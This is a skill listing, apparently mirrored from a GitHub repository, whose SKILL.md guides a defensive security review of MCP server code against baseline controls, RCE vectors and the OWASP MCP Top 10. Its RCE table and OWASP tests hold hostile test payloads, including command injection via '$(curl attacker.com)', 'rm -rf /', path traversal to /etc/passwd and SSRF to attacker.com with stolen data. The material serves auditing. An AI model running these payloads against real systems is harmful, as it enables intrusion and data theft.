mcp-implementation-security-review

人工智能 / Agent Agent 与技能管理 1 文件 EN 原文

Review the implementation source code of MCP (Mo

Review the implementation source code of MCP (Model Context Protocol) servers, clients, and tool handlers against a security baseline — authentication, sessions, rate limiting, input-schema validation, official-SDK usage, RCE vectors, and the OWASP MCP Top 10 — producing a report with file/line evidence. Use this skill when: - Reviewing an MCP server implementation for security before release - Checking a server against the baseline controls (MCP-01 to MCP-05) and the OWASP MCP Top 10 - Auditing tools for RCE vectors (command/code injection, unsafe deserialization, path traversal, SSTI, dependency hijacking, SSRF) - Verifying auth, session, rate-limiting, and input-validation controls on a network-exposed server - Reviewing MCP client code that handles untrusted server responses and session IDs - Requests like "review this MCP server for security" or "is my MCP server implementation secure?"

说明语言:英文

来源githubawesome-copilot ↗ 查看原文件 ↗版权归原作者,请遵循原仓库许可
安装
npx skills add https://github.com/github/awesome-copilot --skill mcp-implementation-security-review

需要已安装 skills CLI。也可以直接从源仓库 clone。

在星云中查看 ↗
SKILL.md 原文

name: mcp-implementation-security-review description: | Review the implementation source code of MCP (Model Context Protocol) servers, clients, and tool handlers against a security baseline — authentication, sessions, rate limiting, input-schema validation, official-SDK usage, RCE vectors, and the OWASP MCP Top 10 — producing a report with file/line evidence. Use this skill when:


MCP Implementation Security Review

Process

Step 1 — Classify the target

Completion criterion: Target type, protocol status, and transport are identified.

Step 2 — Filter false positives

Completion criterion: Remaining evidence is in-scope code, repo-owned docs, or public API behavior.

Step 3 — Check baseline controls

Completion criterion: Each applicable control has a supported status.

Step 4 — Check RCE vectors

Completion criterion: Every relevant tool has an RCE result or explicit N/A.

Step 5 — Check OWASP MCP Top 10

Completion criterion: All 10 OWASP risks have outcomes supported by observable evidence or referenced from Step 3.

Step 6 — Report

Completion criterion: The report includes controls, RCE, optional OWASP, and actions.

Reference

Decision rules

Transport classification

Network-exposed (enforce all controls):

PatternTransport
transport="http" or transport="sse"HTTP/SSE
StreamableHttpServerTransportHTTP (TS/JS)
SSEServerTransportSSE (TS/JS)
WithHttpTransport()HTTP (C#)
host="0.0.0.0"All-interfaces binding
Express .listen(port) with MCP routesHTTP (default 0.0.0.0)
EXPOSE in Dockerfile + MCP serverNetwork-exposed

Local-only (best practices only):

PatternTransport
StdioServerTransportSTDIO (TS/JS)
WithStdioServerTransport()STDIO (C#)
transport="stdio"STDIO
mcp.run() with no args (Python FastMCP)STDIO default
.vscode/mcp.json with command key and no URLSTDIO child process

Host binding gotchas:

BindingActual exposure
host="0.0.0.0"🔴 Network-exposed
host="127.0.0.1" or localhost🟢 Local-only
No explicit host (Express/Node)🔴 Defaults to 0.0.0.0
No explicit host (Python FastMCP)🟡 Depends on transport — verify
Docker ports: "8000:8000"🔴 Network-exposed even if the process binds 127.0.0.1 inside the container

False Positive Filters

FP patternHow to detect
.github/skills/ templatesPath contains .github/skills/ — skill template, not server code
Vendored SDK / OSS copiesFile defines class FastMCP, class McpServer, or path is in node_modules/, vendor/
MCP client configs.vscode/mcp.json with inputs/servers but no server code
Documentation / tutorials.md, .rst with code fences unrelated to the repo's own server
Outbound-only auth librariesDefaultAzureCredential, service account JSON, or similar used only for outbound auth

Docs describing the repo's own server behavior, transport, auth posture, or deployment are not false positives.

Controls Reference

MCP-01 — Identity isolation

Scope: Remote MCP servers

Condition

What to check

Key pitfall: Shared application identities or forwarded caller tokens break identity isolation and create confused-deputy paths.

MCP-02 — Sessions

Scope: Remote MCP servers that support sessions

Applicability

Condition

What to check

Key pitfall: Treating a session ID as a bearer credential turns a correlation token into authentication.

MCP-03 — Rate limits

Scope: MCP servers and tools

Condition

What to check

Starting thresholds (tune to actual load, downstream limits, and cost):

Tool typePer-identityPer-sessionNotes
Read-only / listing100/min200/minLower if downstream APIs are sensitive
Mutation / write10/min20/minStricter for state-changing ops
High-cost compute5/min10/minCost-weighted; watch cloud spend
Tool discovery30/min60/minPrevents enumeration abuse

Key pitfall: Gateway-only throttling or one flat bucket leaves bypasses and under-protects expensive tools.

MCP-04 — Schema validation

Scope: MCP servers exposing tools with structured arguments

Condition

What to check

Key pitfall: Allowing extra properties or client-only validation creates hidden attack surface and scope creep.

MCP-05 — SDK-first

Scope: Remote MCP servers

Condition

What to check

Key pitfall: Hand-rolled servers often miss one "small" primitive—per-request auth, throttling, or validation—and the gaps compound.

RCE Vectors

VectorDangerous codeSafe alternativeTest payloadCWE
Command injectionexec("convert " + args.filename), os.system(f"process {user_input}"), Process.Start("cmd", "/c " + toolArg)execFile("convert", [args.filename]), subprocess.run(["process", user_input], shell=False); rm -rf /, $(curl attacker.com), `net user` must be rejected or treated literallyCWE-78
Dynamic code evaluationeval(args.expression), exec(tool_output), new Function(args.code)()Sandboxed parser, AST-based evaluation, or predefined allowlist__import__('os').system('whoami'), require('child_process').exec('id') must be rejectedCWE-94, CWE-95
Unsafe deserializationpickle.loads(user_data), yaml.load(input, Loader=yaml.UnsafeLoader), BinaryFormatter.Deserialize(stream)yaml.safe_load(), JSON.parse() plus schema validation; avoid binary formats for untrusted inputCrafted serialized payloads must be rejected or safely handledCWE-502
Path traversalfs.readFile(args.path) without validation, open(user_path, 'w')Canonicalize and enforce an allowlisted base directory before read/write/execute../../../../etc/passwd, C:\Windows\System32\config\SAM, ..\..\..\.env must be rejectedCWE-22
SSTITemplate(user_input).render(), Handlebars.compile(args.template)({data})Never use user input as template source; use predefined templates with parameters only{{7*7}}, ${7*7}, <%= 7*7 %> must not render 49CWE-1336
Dependency hijackingUnpinned deps such as "lodash": "^4.0.0"; internal package names resolvable from public registriesPin exact versions, keep lock files with integrity hashes, use trusted/scoped registries, verify signatures where availablenpm audit, pip audit, or dotnet list package --vulnerable; review for CVEs and suspicious packagesCWE-829
SSRFrequests.get(user_param), fetch(user_input), HttpClient.GetAsync(user_input)Allowlist schemes/domains, block RFC1918 and link-local targets, validate URLs before sendinghttp://169.254.169.254/latest/meta-data/, http://localhost:8080/admin, http://attacker.com/?data=stolen must be rejectedCWE-918

OWASP MCP Top 10

MCP01:2025 — Token Mismanagement & Secret Exposure Test: Search for hardcoded secrets and token logging; verify secrets come from env vars or a secrets manager; verify short-lived/rotated tokens. Pass: No hardcoded secrets, sensitive fields redacted, short-lived/rotated tokens. Fail: Hardcoded secrets, token logging, or long-lived tokens without rotation.

MCP02:2025 — Privilege Escalation via Scope Creep Test: Review scopes/roles; confirm least privilege and per-request authorization; reject wildcard admin scopes unless justified; check for runtime capability expansion. Pass: Least-privilege scopes, per-request authorization, no runtime capability expansion. Fail: Broad scopes, one-time auth only, or self-escalating tools.

MCP03:2025 — Tool Poisoning Test: Check whether tool definitions are static and server-controlled, whether tools can alter metadata, and whether outputs contain LLM-parseable instructions. Pass: Static server-controlled definitions and data-only outputs. Fail: External metadata sources or outputs with embedded instructions.

MCP04:2025 — Supply Chain Attacks & Dependency Tampering Test: Check for lock files, exact pinning, suspicious postinstall scripts, dependency audit results, and trusted registries. Pass: Pinned deps, committed lock file, no known vulnerabilities, no suspicious post-install scripts. Fail: Unpinned deps, no lock file, unpatched CVEs, or untrusted registries.

MCP05:2025 — Command Injection & Execution Test: Search for shell execution APIs and string-built commands; trace whether tool input reaches shell execution; test ; ls, $(whoami), | cat /etc/passwd. Pass: No shell execution from untrusted input, or only parameterized allowlisted execution. Fail: User input reaches shell commands, shell=True with formatted strings, or unsafe concatenation.

MCP06:2025 — Prompt Injection via Contextual Payloads Test: Check whether tool output goes back to the LLM, whether external content is sanitized/truncated/sandboxed, and whether chained tool calls are guarded; test adversarial instruction-bearing output. Pass: Tool outputs are data, untrusted content is sanitized/truncated/sandboxed, and chaining has guardrails. Fail: Raw external content returns to the model and there are no chaining limits.

MCP07:2025 — Insufficient Authentication & Authorization Test: Send requests without auth and with expired/invalid tokens; verify per-tool authorization; confirm auth is enforced in the server, not only at the gateway. Pass: All endpoints require valid auth, per-tool authorization exists, and enforcement happens server-side. Fail: Any unauthenticated access, missing per-tool auth, or gateway-only enforcement.

MCP08:2025 — Lack of Audit and Telemetry Test: Invoke a tool and confirm logs capture caller identity, tool name, and timestamp; trigger an error and confirm useful context; verify centralized logging and alerting. Pass: Tool invocations are logged with identity, logs are centralized, and alerts exist. Fail: Missing logs, no caller identity, local-only logging, or no alerting.

MCP09:2025 — Shadow MCP Servers Test: Verify the server exists in service inventory; inspect for undocumented MCP endpoints or exposed non-standard ports; check dev/staging isolation; verify an owner and review trail. Pass: All servers are inventoried, isolated appropriately, and owned. Fail: Undocumented servers, dev/test exposure into production networks, or no ownership.

MCP10:2025 — Context Injection & Over-Sharing Test: Inspect tool responses for data minimization; check for PII or full objects when only subsets are needed; verify context isolation. Pass: Minimal data is returned, sensitive fields are masked/excluded, and context is isolated. Fail: Full objects are returned unnecessarily, PII is exposed, or context is shared across users.

Compliance Output Format

In every summary table below, the Justification cell must cite specific file/line evidence for the status.

Control summary

ControlNameStatusJustification
MCP-01Auth & Identity isolation✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION / N/A…
MCP-02Secure Session Management……
MCP-03Rate limiting & abuse protection……
MCP-04Input schema validation……
MCP-05Production SDK usage……

Use PASS only when the code clearly satisfies the control. Use FAIL when the violation is observable. Use NEEDS INVESTIGATION when compliance depends on deployment config, identity-provider state, logs, or other evidence not visible in source.

RCE summary

VectorStatusJustification
Command injectionSAFE / AT RISK / N/A…
Dynamic code evaluation……
Unsafe deserialization……
Path traversal……
SSTI……
Dependency hijacking……
SSRF……

OWASP summary

RiskStatusJustification
MCP01:2025✅ PASS / ❌ FAIL / ⚠️ NEEDS INVESTIGATION…
MCP02:2025……
MCP03:2025……
MCP04:2025……
MCP05:2025……
MCP06:2025……
MCP07:2025……
MCP08:2025……
MCP09:2025……
MCP10:2025……

Manual follow-ups

List every check that could not be fully resolved from source code, specifying what artifact or access is needed to verify it.

Exception process

同类技能
add-new-opc-skillagent-architectureagent-browseragent-governanceagent-owasp-complianceagent-skill-stackagent-supply-chainagentcore
本页内容来自开源项目 github, 版权归原作者所有。
本站仅作技能索引与分享,所有 Skill 版权归其原作者所有。